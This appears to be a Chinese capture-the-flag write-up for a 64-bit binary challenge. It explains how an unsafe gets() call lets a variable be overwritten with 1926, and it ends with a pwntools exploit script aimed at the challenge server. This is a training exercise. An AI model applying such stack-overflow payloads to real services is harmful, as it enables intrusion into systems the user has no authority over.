文件下载地址:
链接:https://pan.baidu.com/s/1eT_oVeEKPts8Lw2P0nDEnw
提取码:1axx
0x01.分析
checksec:
64位程序,开启了堆栈保护和栈不可执行。
查看源码:
理清一下流程,先要输入v5,第一次不能输入1926,否则会退出,然后第二次输入名字,然后如果v5等于1926就直接得到flag,第二次输入的时候使用了gets,存在栈溢出,我们需要利用这个在第二次输入来修改v5的值位1926,继续查看一下v4和v5的关系:
相差8个字节,所以我们只需要填充8个字节的无效数据,然后覆盖v5的值为1926就行了。
0x02.exp
##!/usr/bin/env python
from pwn import*
r=remote("111.198.29.45",47185)
#r=process('./when')
payload=8*'A'+p64(1926)
r.recvuntil("?")
r.sendline("1925")
r.recvuntil("?")
r.sendline(payload)
r.interactive()